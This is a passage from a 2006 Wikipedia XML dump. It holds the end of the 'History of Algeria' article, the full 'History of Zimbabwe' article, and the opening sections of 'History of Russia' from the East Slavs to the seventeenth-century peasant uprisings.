The referendum was held in Algeria on [[July 1]], 1962, and France declared Algeria independent on [[July 3]]. On [[September 8]], [[1963]], a [[constitution]] was adopted by referendum, and later that month, [[Ahmed Ben Bella]] was formally elected the first president. 

Col. [[Chadli Bendjedid]] was elected President in [[1979]] and re-elected in [[1984]] and [[1988]]. A new constitution was adopted in [[1989]] that allowed the formation of political associations other than the FLN. It also removed the [[armed forces]], which had run the government since the days of [[Houari Boumédiènne]], from a designated role in the operation of the government. Among the scores of parties that sprang up under the new constitution, the militant [[Islamic Salvation Front]] (FIS) was the most successful, winning more than 50% of all votes cast in [[municipal]] elections in June [[1990]] as well as in first stage of national legislative elections held in December [[1991]].

The surprising first round of success for the fundamentalist FIS party in the December 1991 balloting caused the army to intervene, crack down on the FIS, and postpone the subsequent elections. The fundamentalist response has resulted in a continuous low-grade civil conflict with the secular state apparatus, which nonetheless has allowed elections featuring pro-government and moderate religious-based parties. The FIS's armed wing, the [[Islamic Salvation Army]], disbanded in January [[2000]] and many armed militants of other groups surrendered under an [[amnesty]] program designed to promote national reconciliation. Nevertheless, small numbers of armed militants persist in confronting government forces and carrying out isolated attacks on villages and other types of terrorist attacks. Other concerns include [[Berber]] unrest, large-scale unemployment, a shortage of housing, and the need to diversify the [[petroleum]]-based economy.

==See also==
*[[History of Africa]]
*[[History of present-day nations and states]]

==References==
*[http://lcweb2.loc.gov/frd/cs/dztoc.html Library of Congress Country Study on Algeria]
*[http://www.state.gov/r/pa/ei/bgn/8005.htm#history U.S. Department of State Background Note on Algeria]
*[http://www.algeria-watch.de/francais.htm Algeria watch]
*[http://www.bluespader.org/uploads/071_1.html Blue Spader Journals]
*[http://www.rulers.org/rula1.html#algeria Rulers.org — Algeria] List of rulers for Algeria

{{Africa in topic|History of}}


[[Category:History by country|Algeria]]
[[Category:History of Algeria| ]]

[[ar:تاريخ الجزائر]]
[[de:Geschichte Algeriens]]
[[es:Historia de Argelia]]
[[fr:Histoire de l'Algérie]]
[[ja:アルジェリアの歴史]]
[[lt:Alžyro istorija]]
[[sv:Algeriets historia]]</text>
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  </page>
  <page>
    <title>History of Zimbabwe</title>
    <id>14114</id>
    <revision>
      <id>42092112</id>
      <timestamp>2006-03-03T19:51:54Z</timestamp>
      <contributor>
        <username>Skysmith</username>
        <id>6995</id>
      </contributor>
      <comment>revert anon nonsense</comment>
      <text xml:space="preserve">{{attention}}
This is the '''history of [[Zimbabwe]]''', a nation in southern [[Africa]]. 

== Ancient civilizations ==

Archaeologists have found [[Stone-Age]] implements and pebble tools in several areas of Zimbabwe, a suggestion of [[human]] habitation for many centuries, and the ruins of stone buildings provide evidence of early civilization. The most impressive of these sites are the [[Great Zimbabwe]] ruins, after which the country is named, located near [[Masvingo]]. Evidence suggests that these stone structures were built between the [[9th century|9th]] and [[13th century|13th centuries CE]] by indigenous [[Africans]] who had established trading contacts with commercial centers on Africa's southeastern coast.

There have been many civilizations in Zimbabwe as is shown by the ancient stone structures at [[Khami]], Great Zimbabwe and [[Dhlo-Dhlo]]. The first major civilization to become established was the [[Mwene Mutapa]] (or [[Monomotapa]]s), who were said to have built Great Zimbabwe, in the ruins of which was found the soapstone bird that features on the Zimbabwean flag. By the mid-[[1440s]], King Mutota's empire included almost all of the Rhodesian (Zimbabwean) plateau and extensive parts of what is now [[Mozambique]]. The wealth of this empire was based on small-scale industries, for example iron smelting, textiles, gold and copper, along with agriculture. The regular inhabitants of the empire's trading towns were the Arab and Swahili merchants with whom trade was conducted. 

The [[Gokomere]] people, a [[Bantu]]-speaking group of migrant farmers, inhabited the Great Zimbabwe site from about [[500]]&amp;nbsp;CE, displacing earlier [[Khoisa]]n people. From about [[1000]], the fortress took shape, reaching its peak by the fifteenth century. These were the ancestors of the [[Shona people|Shona]] (or Mashona) people, who make up about 80% of modern Zimbabwe's population. Later they formed the [[Rozwi Empire]], which continued until the nineteenth century.

== Arrival of the Portuguese ==

In the early 16th century A.D. the [[Portugal|Portuguese]] arrived and destroyed this trade and began a series of wars which left the empire so weakened that it was near collapse in the early 17th century. Several Shona states came together to form the Rozwi Empire which covered more than half of present day Zimbabwe. By 1690 the Portuguese had been forced off the plateau and the Rozwi controlled much of the land formerly under Mwene Mutapa. Peace and prosperity reigned over the next two centuries and the centres of Dhlo-Dhlo, Khami, and Great Zimbabwe reached their peaks. As a result of the mid-19th century turmoil in [[Transvaal]] and [[KwaZulu-Natal Province|Natal]], the Rozwi Empire came to an end.

== Ndebele invasion ==
The [[Ndebele people (Zimbabwe)|Matabele]] (Ndebele) people in the south arrived in 1834 A.D.-- [[Mzilikazi]] fleeing [[Shaka]].

== British Conquest ==

British occupation began in the 1890s, under the leadership of [[Cecil Rhodes]], after whom the area was renamed Rhodesia. A treaty was signed with the [[British South Africa Company]] in 1888 allowing them to mine gold in the kingdom and to use force to enforce the terms of the treaty, now under Matabele rule. The increasing influx of settlers as a result of this treaty led to war with [[Lobengula]], King of [[Matabeleland]] in 1896-97. Lobengula died while fleeing north, and the Ndebele were defeated and European immigration began in earnest.

== Self-government ==

Rhodesia became a [[self-governing colony]] with responsible Government in 1923. What this meant was that there was a local parliament although some powers (notably relating to African political advancement) were retained by [[London]]. Southern Rhodesia (as it was called then) was ruled via the [[Dominions Office]] (and ''not'' the [[Colonial Office]]) although strictly speaking the country was not a Dominion (like [[Canada]], [[Australia]], [[South Africa]] etc.). This however was a unique case. 

From 1953 to 1963, Southern Rhodesia was part of the [[Federation of Rhodesia and Nyasaland]]. The federation fell apart in 1963 when white minority rule collapsed in the other members of the federation who were granted independence as [[Zambia]] and [[Malawi]]. Southern Rhodesia reverted to its status as a [[crown colony]] in Britain but was now known as [[Rhodesia]].

From 1953 to 1958, the Southern Rhodesian government of [[Garfield Todd]] attempted to introduce liberal reforms to increase educational rights for the Black majority but Todd was forced from power when he attempted to expand the number of Blacks eligible to vote from 2% to 16%. The governments that followed Todd's became increasingly repressive introducing laws such as the ''Law and Order (Maintenance) Act of 1960'' and the ''Emergency Powers Act'' which restricted the rights of the Black African majority. 

The formation of a number of political parties along with sporadic acts of sabotage came as a result of African impatience with the pace of reforms and then in opposition to increased repression. At the forefront of this move was the [[Zimbabwe African Peoples Union]] (ZAPU), mostly [[Ndebele people (Zimbabwe)|Ndebele]], led by [[Joshua Nkomo]]. It was shortly joined by the [[Zimbabwe African National Union]] (ZANU), mostly [[Shona people|Shona]], a breakaway group under [[Ndabaningi Sithole]]. After the collapse of the federation in 1963, both ZAPU and ZANU were banned and the majority of their leaders imprisoned.

== Unilateral independence ==

[[United Kingdom|Britain]] adopted a policy known as [[NIBMAR]] (No Independence Before Majority African Rule), but in 1965 [[Ian Smith]]'s hardline [[Rhodesian Front]] (RF) party won every one of the 50 seats in the Legislative Assembly, which was controlled by the white minority. On [[11 November]], [[1965]], Smith made a [[Unilateral Declaration of Independence (Rhodesia)|Unilateral Declaration of Independence (UDI)]]. Initially, Smith claimed loyalty to [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] as head of state, although he refused to recognise the authority of her Governor, Sir Humphrey Gibbs. He declared Rhodesia a [[republic]] in 1970.

[[United Kingdom|Britain]] declared Smith's actions illegal, and the [[Commonwealth of Nations|Commonwealth]] imposed economic sanctions. The UDI was not recognised by any other country, even by the [[apartheid]] regime in [[South Africa]]. In 1968 the [[UN]] voted to make the sanctions mandatory but they were largely ineffective. The measures taken by the British government to force Smith to revoke UDI seemed useless, as the economic sanctions imposed actually saw Rhodesia's economy grow. Most of the infrastructure still in the country today was developed during this period.

== Guerrilla warfare==

Both ZAPU and ZANU began campaigns of guerrilla warfare around 1966, and guerrilla raids led to escalation in white emigration from Rhodesia. Warfare continued through 1979, leaving 27000 dead.

The coming of independence in [[Angola]] and [[Mozambique]] in 1975 altered the power balance within Rhodesia greatly as it forced [[South Africa]] and the [[United States]] to rethink their attitudes to the area, in order that they could protect their economic and political interests. Attempts were made by both countries to pressure Smith into accepting majority rule. With [[Kenneth Kaunda]]'s Zambian support the nationalist groups were convinced to come together under the united front of [[Abel Muzorewa]]'s [[African National Council]]. The imprisoned nationalist leaders were released. 

Continuing talks failed to bring the two sides to an agreement, despite changes to the nationalist &quot;line-up&quot;, now called the Patriotic Front (PF), a union of ZANU and ZAPU. Muzorewa had since formed a new party, the United African National Council ([[UANC]]), as had Sithole, who had formed a breakaway party from ZANU, called ZANU Ndonga.  In the face of a white exodus, Ian Smith made an agreement with  Muzorewa and Sithole, known as the Internal Settlement. This led to the holding of new elections in 1979 in which black Africans would be in the majority for the first time. The country was renamed [[Zimbabwe Rhodesia]] in 1979, with Muzorewa as Prime Minister. 

However, the new state was not recognised by the international community, which continued to press for a settlement involvinng the Patriotic Front. Finally in 1979 under the [[Lancaster House Agreement]], its legal status as the British colony of Southern Rhodesia was restored, in preparation for free elections and independence as Zimbabwe.

== Majority rule ==

In elections in March 1980, [[Robert Mugabe]]'s ZANU party won the election, with 53 out of 80 seats reserved for black voters, with Joshua Nkomo's ZAPU gaining 27, and Muzorewa's UANC only three. The Republic of Zimbabwe came into being on [[April 18]], 1980, in a ceremony attended by Britain's [[Charles, Prince of Wales]]. A song was written and sung by [[Bob Marley]] to celebrate the independence of Zimbabwe also called 'Zimbabwe'. He was invited to perform a concert at the country's independence festivities, and this song, was, of course, included. 

As well as changing the name of the country, the new government changed numerous [[Place names in Zimbabwe|place names]] in 1982, starting with the capital, Salisbury, which was renamed [[Harare]]. The main street in the capital, Jameson Avenue, was renamed in honour of [[Samora Machel]], President of [[Mozambique]].

== Constitution and parliamentary system ==

The new [[Constitution]] provided for a non-executive President as Head of State with a Prime Minister as Head of Government. The first President was Rev. [[Canaan Banana]] with Robert Mugabe as Prime Minister. In 1987, the Constitution was amended to provide for an Executive President and the office of Prime Minister was abolished. The constitutional changes came into effect on [[1 January]] [[1988]] with Robert Mugabe as President.  

The [[Parliament]] was [[bicameral]], with the House of Assembly being directly elected and the Senate consisting of indirectly elected and nominated members, including tribal chiefs. Under the Constitution, there were two separate voters rolls, one for the black African majority, who had 80 % of the seats in [[Parliament]] and the other for whites and other ethnic minorities, such as [[Coloured]]s (people of mixed race) and Asians, who held 20 %.

This gave whites disproportionate representation, and in 1986 the Constitution was amended to scrap this system, replacing the white seats in with seats filled by nominated members. Many white MPs joined [[ZANU]], which then reappointed them. In 1990, the Senate was abolished, and the House of Assembly's membership was increased to include members nominated by the President.

==After independence==

Following independence, there was increasingly bitter rivalry between ZAPU and ZANU, with guerrilla activity starting again, in Matabeleland (south-western Zimbabwe). Nkomo (ZAPU) left for exile in Britain, and did not return until Mugabe guaranteed his safety. On [[February 17]], [[1982]] Nkomo, accused of plotting a coup, was dismissed. Armed resistance in his stronghold of [[Matabeleland]], in the west, was met with bloody government repression. At least 20,000 died in the ensuing massacres, known in Zimbabwe as the [[Gukurahundi]].

A peace accord was negotiated and on [[December 30]], [[1987]] Mugabe became head of state after reforming the constitution to usher in a presidential regime. On [[December 19]], [[1989]] ZAPU merged with ZANU  under the name ZANU-Patriotic Front ([[ZANU-PF]]).

Although most whites had left Zimbabwe after independence, mainly for neighbouring [[South Africa]], those who remained continued to wield disproportionate control of some sectors of the economy, especially agriculture. In the late-1990s whites accounted for less than 1% of the population but owned 70% of [[arable land]].

On [[December 9]], [[1997]] a national strike paralyzed the country. Mugabe was panicked by demonstrations by Zanla ex-combatants (war veterans), who had been the heart of the liberation struggle 20 years earlier. He agreed to pay them large gratuities and pensions, which proved to be a wholly unproductive and unbudgeted financial commitment. 

Mugabe also raised the issue of land ownership by white farmers.  In a populist move, he began land redistribution, which brought the government into headlong conflict with the International Monetary Fund.  Amid a severe drought in the region, the police and military were instructed not to stop the invasion of white-owned farms by the war veterans and youth militia.

In February 2000, Mugabe tried to change the constitution by holding a constitutional referendum, in a move that would have allowed the president to serve two more terms (another 10 years) and the power to dissolve Parliament. The defeat of the referendum weakened the ruling party.

Mugabe won a parliamentary majority for ZANU-PF.  He was also able to appoint 30 of the Members of Parliament. The presidential elections in [[March 2002]] were critical to the Southern African region. An important concern was that if the elections were not free and fair, this would have a destabilizing effect on the region, causing more economic turmoil in countries like [[South Africa]] and [[Botswana]]. Mugabe won a controversial victory against [[Morgan Tsvangirai]] of the Movement for Democratic Change. It is alleged that violence was used in anti-Mugabe strongholds to prevent citizens from voting.

==International criticism==

[[Amnesty International]] has made numerous allegations of Mugabe committing human rights abuses against his political opponents, minority groups such as homosexuals, and white landowning families and their farm workers.

The [[European Union]] imposed travel sanctions on Mugabe and his inner circle of ZANU-PF elite, while the [[United States]] imposed economic sanctions which froze his assets and made any business dealings with him illegal.

In 2002 Zimbabwe was suspended from the [[Commonwealth of Nations]]. This suspension was extended at the 2003 Commonwealth Heads of Government Meeting (CHOGM). Soon afterwards, Zimbabwe left the Commonwealth.

==See also==
*[[History of Africa]]
*[[History of present-day nations and states]]

==External links==

* [http://www.historyofnations.net/africa/zimbabwe.html History of  Zimbabwe]
* [http://www.state.gov/r/pa/ei/bgn/5479.htm Background Note: Zimbabwe]
* [http://www.newadvent.org/cathen/10489a.htm Monomotapa]
* [http://www.guardian.co.uk/fromthearchive/story/0,12269,1228860,00.html 'Zimbabwe will collapse if you go, whites are warned'] in ''[[The Guardian]]''

{{Africa in topic|History of}}
 
[[Category:History of Zimbabwe| ]]

[[de:Geschichte Simbabwes]]
[[fr:histoire du Zimbabwe]]
[[fr:histoire de la Rhodésie du sud]]</text>
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  <page>
    <title>History of Russia</title>
    <id>14115</id>
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    <revision>
      <id>42026100</id>
      <timestamp>2006-03-03T08:08:43Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/218.101.74.136|218.101.74.136]] ([[User talk:218.101.74.136|Talk]]) to last version by Irpen</comment>
      <text xml:space="preserve">{{featured article}}
{{History of Russia}}
The '''[[history of Russia]]''' begins with that of the [[Early East Slavs|East Slavs]], the ethnic group that eventually split into the [[Russians]], [[Ukrainians]], and [[Belarusians]]. The first East Slavic state, [[Kievan Rus']], adopted [[Christianity]] from the [[Byzantine Empire]] in 988, beginning the synthesis of Byzantine and [[Slavs|Slavic]] cultures that defined Russian culture for the next seven centuries. Kievan Rus' ultimately disintegrated as a state, leaving a number of states competing for claims to be the heirs to its civilization and dominant position. After the 13th century, [[Muscovy]] gradually came to dominate the former cultural center. In the 18th century, the principality of Muscovy had become the huge [[Russian Empire]], stretching from [[Poland]] eastward to the [[Pacific Ocean]]. Expansion in the western direction sharpened Russia's awareness of its backwardness and shattered the isolation in which the initial stages of expansion had occurred. Successive regimes of the 19th century responded to such pressures with a combination of halfhearted reform and repression. [[Russian serfdom]] was [[Emancipation reform of 1861 in Russia|abolished in 1861]], but its abolition was achieved on terms unfavorable to the [[peasant]]s and served to increase revolutionary pressures. Between the abolition of serfdom and beginning of [[World War I]] in [[1914]], the [[Stolypin reform]]s, the [[Russian Constitution of 1906|constitution of 1906]] and [[Duma|State Duma]] introduced notable changes in economy and politics of Russia, but the [[tsar]]s were still not willing to cede autocratic rule.

Military defeat and food shortages triggered the [[Russian Revolution of 1917|Russian Revolution]] in [[1917]], bringing the [[Communist Party of the Soviet Union|Communist]] [[Bolshevik]]s to power. Between [[1922]] and [[1991]], the history of Russia is essentially the [[history of the Soviet Union]], effectively an ideologically based empire which was roughly coterminous with the Russian Empire, whose last monarch, Tsar [[Nicholas II of Russia|Nicholas II]], ruled until 1917. From its first years, government in the Soviet Union was based on the one-party rule of the communists, as the Bolsheviks called themselves beginning in March [[1918]]. However, by the late [[1980s]], with the weaknesses of its economic and political structures becoming acute, significant changes in the economy and the party leaderships spelled the end of the Soviet Union.

The [[History of post-Soviet Russia|history of the Russian Federation]] is brief, dating back only to the collapse of the Soviet Union in late [[1991]]. But Russia has existed as a state for over a thousand years, and during most of the 20th century Russia was the core of the Soviet Union. Since gaining its independence, Russia claimed to be the legal successor to Soviet Union on the international stage. However, Russia lost its [[superpower]] status as it faced serious challenges in its efforts to forge a new post-Soviet political and economic system. Scrapping the socialist [[planned economy|central planning]] and state ownership of property of the Soviet era, Russia attempted to build an economy with elements of market [[capitalism]], with often painful results. Russia today shares many continuities of political culture and social structure with its tsarist and Soviet past. 


==Early history== [[Image:IE expansion.png|thumb|250px|[[Kurgan hypothesis]]: South Russia as [[urheimat]] of [[Indo-Europeans|Indo-European peoples]].]]
===Early East Slavs===
''Main article: [[Early East Slavs]]''

The ancestors of the [[Russians]] were the [[Slavic peoples|Slavic tribes]], whose original home is thought by some scholars to have been the wooded areas of the [[Pripet Marshes]]. Moving into the lands vacated by the migrating [[Germanic tribes]], the Eastern Slavs &amp;ndash; the ancestors of the Russians who occupied the lands between the [[Carpathian Mountains|Carpathians]] and the [[Don River, Russia|Don River]] &amp;ndash; were subjected to [[Ancient Greece|Greek]] [[Christianity|Christian]] influences. While the fortunes of the [[Byzantine Empire]] had been ebbing, its culture was a continuous influence upon the development of Russia in its formative centuries.

===Khazaria===
''Main article: [[Khazaria]]''

The [[Khazars]] were [[Turkic peoples|Turkic]] people who inhabited the lower [[Volga River|Volga]] basin [[steppe]]s between the [[Caspian Sea|Caspian]] and [[Black Sea]]s from the 7th to 13th centuries. In the 8th century, the Khazars embraced [[Judaism]]. [[Itil]], near modern [[Astrakhan]], was their capital.

Noted for their laws, tolerance, and cosmopolitanism, the Khazars were the main commercial link between the Baltic and the [[Islam|Muslim]] [[Abbasid]] empire centered in [[Baghdad]]. In the 8th and 9th centuries, many East Slavic tribes paid tribute to the Khazars. Their dominance began to slip, however, at the end of that period, when [[Oleg]], a [[Varangian]] warrior, moved south from [[Novgorod]] to expel the Khazars from [[Kiev]] and founded Kievan Rus' around the year [[880]]. Slavic and nomadic Turkic invaders brought about the final downfall of Khazar rule in the 10th century.

===Kievan Rus'===

''Main article: [[Kievan Rus']]''
[[Image:sophia iznutri.jpg|thumb|250px|The Byzantine influence on Russian architecture is evident in [[Saint Sophia Cathedral in Kiev|Hagia Sophia in Kiev]], originally built in the 11th century by [[Yaroslav the Wise]].]]

[[Scandinavia]]n [[Viking|Norsemen]], called &quot;[[Varangian]]s&quot; by the [[Byzantine Empire|Byzantine]]s, combined [[piracy]] and trade and began to venture along the waterways from the eastern [[Baltic Sea|Baltic]] to the [[Black Sea|Black]] and [[Caspian Sea]]s. The [[Slavic peoples|Slavic]] settlers along the rivers often hired the Varangians as protectors. According to the [[Russian Primary Chronicle|earliest chronicle of Kievan Rus']], a Varangian named [[Rurik]] became prince of [[Novgorod]] in about [[860]] before his successors moved south and extended their authority to [[Kiev]]. By the late 9th century the Varangian ruler of Kiev had established his supremacy over a large area that gradually came to be known as Russia.

The name &quot;Russia,&quot; together with the [[Finnish language|Finnish]] ''Ruotsi'' and [[Estonian language|Estonian]] ''Rootsi'', are found by some scholars to be related to [[Roslagen]]. The meaning of ''Rus'' is debated, and other schools of thought connect the name with Slavic or [[Persian language|Persian]] roots. (See [[Etymology of Rus and derivatives]]).

Kievan Rus', the first East Slavic state, emerged in the [[9th century]] along the [[Dnieper River]] valley. A coordinated group of princely states with a common interest in maintaining trade along the river routes, Kievan Rus' controlled the trade route for furs, wax, and slaves between Scandinavia and the Byzantine Empire along the Dnieper River. By the end of the [[10th century]] the [[Old Norse language|Norse]] minority had merged with the Slavic population.

Among the lasting achievements of Kievan Rus' are the introduction of a Slavic variant of the [[Eastern Orthodoxy|Eastern Orthodox]] religion, dramatically deepening a synthesis of Byzantine and Slavic cultures that defined Russian culture for the next thousand years. The region adopted [[Christianity]] in [[988]] by the official act of public [[Baptism of Kievan Rus'|baptism]] of Kiev inhabitants by [[Vladimir I of Kiev|Prince Vladimir I]]. Some years later the first code of laws, [[Russkaya Pravda]], was introduced. From the onset the Kievan princes followed the Byzantine example and kept the Church dependent on them, even for its revenues, so that the Russian Church and state were always closely linked. [[Image:Kievan_Rus_en.jpg|thumb|275px|Kievan Rus' in the 11th century.]]

By the [[11th century]], particularly during the reign of [[Yaroslav the Wise]], Kievan Rus' could boast an economy and achievements in architecture and literature superior to those that then existed in the western part of the continent. Compared with the languages of European Christendom, the Russian language was little influenced by the [[Greek language|Greek]] and [[Latin]] of early Christian writings. This was due to the fact that [[Church Slavonic]] was used directly in [[liturgy]] instead.

Nomadic Turkic people Kipchaks (Polovtsi) conquered the south steppe regions neighboring to Rus' at the end of 11th century and founded a nomadic state in the steppes along the Black Sea (Desht-e-Kipchak). Repelling their regular attacks, especially on Kiev, which was just one day riding away from the steppe, was a heavy burden for the Rus'.

Kievan Rus' ultimately disintegrated as a state because of the armed struggles among members of the princely family that collectively possessed it. Kiev's dominance waned, to the benefit of [[Vladimir-Suzdal]] in the north-east,  [[Novgorod Republic |Novgorod]] in the north, and [[Halych-Volhynia]] in the south-west.  Conquest by the [[Mongol]] [[Golden Horde]] in the [[13th century]] was the final blow. Kiev was destroyed. Halych-Volhynia would eventually be absorbed into the [[Polish-Lithuanian Commonwealth]]. Mongol-dominated Vladimir-Suzdal and independent Novgorod would establish the basis for the modern Russian nation.

===Volga Bulgaria===
''Main article: [[Volga Bulgaria]]''

Volga Bulgaria was a non-Slavic state on the middle Volga. After the Mongol Invasion it became a part of [[Golden Horde]]. The [[Chuvash]]es and [[Tatars|Kazan Tatar]]s are descendants of the Volga [[Bulgars]]. By the [[10th century]] Volga Bulgaria was converted to [[Islam]], which made it independent of [[Khazaria]]. In the 16th century, Russia conquered the Bulgar lands under Tsar [[Ivan IV of Russia|Ivan IV]] ('The Terrible').

===Mongol Invasion===
''Main article: [[Mongol invasion of Russia]]''

The invading Mongols accelerated the fragmentation of the Kievan Rus'. In [[1223]], the Kievan Rus' faced a Mongol raiding party at the [[Battle of the Kalka River|Kalka River]] and was soundly defeated. In [[1240]] the Mongols sacked the city of Kiev and then moved west into [[Poland]] and [[Hungary]]. By then they had conquered most of the Russian principalities. Of the principalities of Kievan Rus', only Novgorod escaped occupation.

The impact of the Mongol invasion on the territories of Kievan Rus' was uneven. About half of Russian population was lost during the invasion. The advanced city culture practically has been completely destroyed. Centers such as Kiev never recovered from the devastation of the initial attack. As Novgorod continued to prosper, a new entity, the city of Moscow, began to flourish under the Mongols since 1328. Although a Russian army defeated the Golden Horde at Kulikovo in 1380, Mongol domination of the Russian-inhabited territories, along with demands of tribute from Russian princes, continued until about 1480.

===Golden Horde===
[[Image:Alexnev.jpg|thumbnail|200px|left|Alexander Nevsky]]
''Main article: [[Golden Horde]]''
The Mongols dominated Russia from their western capital at [[Sarai (city)|Sarai]] on the [[Volga River]], near the modern city of [[Volgograd]]. The princes of southern and eastern Russia had to pay tribute to the Mongols, commonly called [[Tatars]], or the Golden Horde; but in return they received charters authorizing them to act as deputies to the khans. In general, the princes were allowed considerable freedom to rule as they wished. One of them, [[Alexander Nevsky]], prince of [[Vladimir-Suzdal|Vladimir]], acquired heroic status in the mid-13th century as the result of major victories over the [[Teutonic Knights]], the [[Swedes]] and the [[Lithuanians]]. To the Orthodox Church and most princes, the westerners seemed a greater threat to the Russian way of life than the Mongols. Nevsky obtained Mongol protection and assistance in fighting invaders from the west who, hoping to profit from the Russian collapse since the Mongol invasions, tried to grab territory. Even so, Nevsky's successors would later come to challenge Tartar rule. 

Nevertheless Mongol invasions of Russian principalities proceeded during all periods of the Golden Horde rule and caused frequent devastations.

The Mongols left their impact on the Russians in such areas as military tactics and the development of trade routes. Under Mongol occupation, Muscovy also developed its postal road network, census, fiscal system, and military organization. Eastern influence remained strong well until the 18th century, when Russian rulers made a conscious effort to Westernize their country.

==Muscovy==
''Main article: [[Muscovy]]''
===The rise of Moscow===
[[Daniil Aleksandrovich]], the youngest son of Nevski, founded the principality of Muscovy based in the city of Moscow, which eventually expelled the Tartars from Russia. Well-situated in the central river system of Russia and surrounded by protective forests and marshes, Muscovy was at first only a [[vassal]] of Vladimir, but soon it absorbed its parent state. A major factor in the ascendancy of Muscovy was the cooperation of its rulers with the Mongol overlords, who granted them the title of Grand Prince of Russia and made them agents for collecting the Tartar tribute from the Russian principalities. The principality's prestige was further enhanced when it became the center of the [[Russian Orthodox Church]]. Its head, the metropolitan, fled from Kiev to [[Vladimir-Suzdal|Vladimir]] in [[1299]] and a few years later established the permanent headquarters of the Church in Moscow.

By the middle of the 14th century, the power of the Mongols was declining, and the Grand Princes felt able to openly oppose the [[Mongol yoke]]. In [[1380]], at [[Kulikovo]] on the [[Don River, Russia|Don River]], the khan was defeated, and although this hard-fought victory did not end Tartar rule of Russia, it did bring great fame to the Grand Prince. Moscow's leadership in Russia was now firmly based and by the middle of the fourteenth century its territory had greatly expanded through purchase, war, and marriage.

===Ivan III, the Great===
In the 15th century, the grand princes of Muscovy began gathering Russian lands to increase the population and wealth under their rule. The most successful practitioner of this process was [[Ivan III of Russia|Ivan III]], the Great ([[1462]]&amp;ndash;[[1505]]), who laid the foundations for a Russian national state. A contemporary of the [[Tudor dynasty|Tudor]]s and other &quot;new monarchs&quot; in Western Europe, Ivan more than doubled his territories by placing most of north Russia under the rule of Moscow, and he proclaimed his absolute sovereignty over all Russian princes and nobles. Refusing further tribute to the Tartars, Ivan initiated a series of attacks that opened the way for the complete defeat of the declining Golden Horde, now divided into several khanates and hordes.

Ivan sought to protect the southern boundaries of his domain against attacks of [[Tatar invasions|hordes]]. Ivan granted manors to nobles, who in turn were obliged to serve in army. The manor system became a basis for an emerging horse army.

During his conflict with Pskov, monk [[Filofei]] composed a letter to Ivan III, with prophecy that the latter's kingdom will be the [[Third Rome]]. Ivan competed with his powerful northwestern rival Lithuania for control over some of the semi-independent former principalities of Kievan Rus' in the upper Dnieper and [[Donets River]] basins. Through the defections of some princes, border skirmishes, and a long, inconclusive war with Lithuania that ended only in [[1503]], Ivan III was able to push westward, and Muscovy tripled in size under his rule.

Internal consolidation accompanied outward expansion of the state. By the 16th century, the rulers of Moscow considered the entire Russian territory their collective property. Various semi-independent princes still claimed specific territories, but Ivan III forced the lesser princes to acknowledge the grand prince of Muscovy and his descendants as unquestioned rulers with control over military, judicial, and foreign affairs. Gradually, the Muscovite ruler emerged as a powerful, autocratic ruler, a tsar.

===Ivan IV, the Terrible===
[[Image:Kremlinpic4.jpg|thumbnail|200px|right|Portrait of Ivan the Terrible.]]
Ivan IV was the first Muscovite ruler to use the title of &quot;[[Tsar]].&quot;

The development of the tsar's autocratic powers reached a peak during the reign ([[1547]]&amp;ndash;[[1584]]) of [[Ivan IV of Russia|Ivan IV]], and he became known as &quot;Ivan the Terrible.&quot;  Ivan strengthened the position of the tsar to an unprecedented degree, as he ruthlessly subordinated the nobles to his will, exiling or executing many on the slightest provocation.  Nevertheless, Ivan was a farsighted statesman who promulgated a new code of laws, reformed the morals of the clergy, and built the great [[St. Basil's Cathedral]] that still stands in Moscow's [[Red Square]]. Also around this period, Russian cossacks were establishing the first settlements in western Siberia.

===Time of Troubles===
Death of Ivan's childless son [[Feodor I of Russia|Feodor]] was followed by a period of civil wars known as the &quot;[[Time of Troubles]]&quot; over the succession and resurgence of the power of the nobility.

The autocracy survived the &quot;Time of Troubles&quot; and the rule of weak or corrupt tsars because of the strength of the government's central bureaucracy. Government functionaries continued to serve, regardless of the ruler's legitimacy or the faction controlling the throne.

The succession disputes during the &quot;Time of Troubles&quot; caused the loss of much territory to the [[Polish-Lithuanian Commonwealth]] and [[Sweden]] during the wars such as the [[Dymitriads]], the [[Ingrian War]] and the [[Smolensk War]]. Recovery for Russia came in the mid-17th century, when successful wars with the Polish-Lithuanian Commonwealth ([[1654]]&amp;ndash;[[1667]]) brought substantial gains, including Smolensk, Kiev and the eastern half of Ukraine.

===The Romanovs===
[[Image:Ryabushkin 17centMoscow.JPG|thumb|200px|left|A painting of a 17th century Moscow street holiday by [[Andrei Ryabushkin]]]]
Order was restored in [[1613]] when [[Michael I of Russia|Michael Romanov]], the grandnephew of Ivan the Terrible, was elected to the throne by a national assembly that included representatives from fifty cities. The [[Romanov]] dynasty ruled Russia until [[1917]].

The immediate task of the new dynasty was to restore order. Fortunately for Moscow, its major enemies, the [[Polish-Lithuanian Commonwealth]] and [[Sweden]], were engaged in a bitter conflict with each other, which provided Muscovy the opportunity to make peace with Sweden in [[1617]] and to sign a truce with the Polish-Lithuanian Commonwealth in [[1619]].

Rather than risk their estates in more civil war, the great nobles or ''[[boyar]]s'' cooperated with the first Romanovs, enabling them to finish the work of bureaucratic centralization. Thus, the state required service from both the old and the new nobility, primarily in the military. In return the tsars allowed the ''boyars'' to complete the process of enserfing the peasants. 

In the preceding century, the state had gradually curtailed peasants' rights to move from one landlord to another. With the state now fully sanctioning [[serfdom]], runaway peasants became state fugitives. Landlords had complete power over their peasants and could alienate and transfer them without the land to other landowners. &lt;!--&quot;bought, sold, traded, and mortgaged them.&quot; These relations are not characteristic for this period, see Klyuchevski--&gt; Together the state and the nobles placed the overwhelming burden of taxation on the peasants, whose rate was 100 times greater in the mid-17th century than it had been a century earlier. In addition, middle-class urban tradesmen and craftsmen were assessed taxes, and, like the serfs, they were forbidden to change residence. All segments of the population were subject to military levy and to special taxes.&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;

===Peasant uprisings===
In a period when peasant disorders were endemic, the greatest peasant uprising in 17th century Europe erupted in [[1667]]. As the Cossacks reacted against the growing centralization of the state, serfs joined their revolts and escaped from their landlords by joining them. The Cossack rebel [[Stenka Razin]] led his followers up the Volga River, inciting peasant uprisings and replacing local governments with Cossack rule. The tsar's army finally crushed his forces in [[1670]]; a year later Stenka was captured and beheaded. The uprising and the resulting repression that ended the last of the mid-century crises entailed the deaths of a significant share of the peasant population in the affected areas.

==Imperial Russia==
''Main article: [[Imperial Russia]]''

